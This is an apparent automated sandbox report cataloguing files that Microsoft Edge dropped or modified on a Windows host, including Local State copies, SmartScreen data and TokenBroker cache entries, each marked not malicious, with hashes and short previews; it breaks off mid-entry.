SHA-512:	176C87F9CDAE4EDE2A8F7D3FAF071099017BD5DD67A02260A6C3E9FBF48323A628BFB8AB664077DC3EEA3F42F639DFB8C369730ECFAA4E13D7786568CCBB2714
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4d1b4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090791420373575
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+Ptbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEI6Gtbz8hu3VlXr4CRo1
MD5:	CCD8A243647CA27DC67D53710B9D1A94
SHA1:	CBD9B4D4537DF494FBBC09DB0A0C7532947B6F04
SHA-256:	C203644A38D222857213F2B7C8ABC785AB82D1930EAEB22D48E13FFF209EC9F1
SHA-512:	176C87F9CDAE4EDE2A8F7D3FAF071099017BD5DD67A02260A6C3E9FBF48323A628BFB8AB664077DC3EEA3F42F639DFB8C369730ECFAA4E13D7786568CCBB2714
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.007387597276892
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclU/dRWY4Yn:YWLSGTt1o9LuLgfGBPAzkVj/T8lUlt4Y
MD5:	BF21EC15E34572A657773407A7E1C882
SHA1:	A697D29A3B4601034FB560F37F3B5EDEAD7F1CE9
SHA-256:	AC2DDBD10AB980AE56C725391DCD37AC3E8F7D12C8EFA270F4AC046094E2EB26
SHA-512:	0928A8E7A8E1EBFB29DF926E7B06959238C30889EC47EB4963FFDE9E41396B71DE0C5FE6903D0FD99F5AC36BC846839ED23D65C310FAC35F7F03F4A22139F3E1
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731882143013243}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a9b6838c-9bcb-4660-9ab6-6b8f60de8fb0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45722
Entropy (8bit):	6.088411382342524
Encrypted:	false
SSDEEP:	768:zMkbJrT8IeQcrQgx9wE/uphDO6vP6OJAKg70QZPIYsvFuQFrqtECAoCGoup1Xl3w:zMk1rT8HR9w46pAP0/RoChu3VlXr4h
MD5:	4BEBDA165DBB3280863A2638252893CF
SHA1:	BD2B3EA0809E705A0F7B54541E503554E68735BC
SHA-256:	035EABE4780E862E7CC8FA1856C54772BC3E8795DD83CD6CFCF54AF683D8DE37
SHA-512:	A20D1A9FEB696D5D491753B2FC6E8E74BC6172DFC3A04EA814F354BAF87A8FA590AD3ADED9C2EAC623004CA990E1EAA294CD32695F09C5FCCBD16DC9864C62DB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731781343"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b0eb0f4e-fd07-44d3-9357-8171f8d0872e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44604
Entropy (8bit):	6.096364943478445
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBrwu8hDO6vP6OJAKgHOqoDZEDGdcGoup1Xl3jVzXq:z/Ps+wsI7ynEB6pAP0chu3VlXr4CRo1
MD5:	D308698900DA9224522860F97CD2DC45
SHA1:	DFDD2755F8F54E39CD02A4B8B9BE2CD6E61D9CED
SHA-256:	B01C37522EDB739D4946470C5E4342A71B3FD3C6D9E8C2C29B7C5B92D1B7BB40
SHA-512:	10AAAF598C3F8B76828B530B5AFAD825009763AF1B97E7A0F51DD8562CD7E0E8CEDFD294A058DE71890C3717E7D3AFA6309846CF73A8868B86059555E990C57C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e3cf799d-1bdc-47f6-989d-a4071d85ce46.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44604
Entropy (8bit):	6.096364943478445
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBrwu8hDO6vP6OJAKgHOqoDZEDGdcGoup1Xl3jVzXq:z/Ps+wsI7ynEB6pAP0chu3VlXr4CRo1
MD5:	D308698900DA9224522860F97CD2DC45
SHA1:	DFDD2755F8F54E39CD02A4B8B9BE2CD6E61D9CED
SHA-256:	B01C37522EDB739D4946470C5E4342A71B3FD3C6D9E8C2C29B7C5B92D1B7BB40
SHA-512:	10AAAF598C3F8B76828B530B5AFAD825009763AF1B97E7A0F51DD8562CD7E0E8CEDFD294A058DE71890C3717E7D3AFA6309846CF73A8868B86059555E990C57C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.860317940885306
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxkxl9Il8u/Y00Da9BAD34Lm2U5mFfW/d1rc:mZY5Y00DaTyj2U0FfWI
MD5:	1703ACBA5EFBD1AED206955DA814D8D2
SHA1:	6A1C749E6C116386D7F7D211B5E1ED053B5171AF
SHA-256:	AA47BCF11695260320532F143325E7F1000A29721E43B5007075337350014FFD
SHA-512:	0B2E0596D1D9F345E72DEAC8E3CA80EA7DF34CD371C0B38DD4308380EC50B8F23E091BDFE90476BD4EFA24B40BDF99BE1B059585ADF915977145B6B336BB6FDA
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.G.s.y.3.F.w.4.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.C.m.r.R.2.t.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000875467341047
Encrypted:	false
SSDEEP:	96:cY57aykgzfd7ytKyE+WFQj3Cy1ws+oA3oWvXa:cC7FzxytKy/XSOwsgfa
MD5:	704B3B7A984A21FA02B2E332942EBE34
SHA1:	91A4ADE5670DED4145A866751EFE1F554DAD2E53
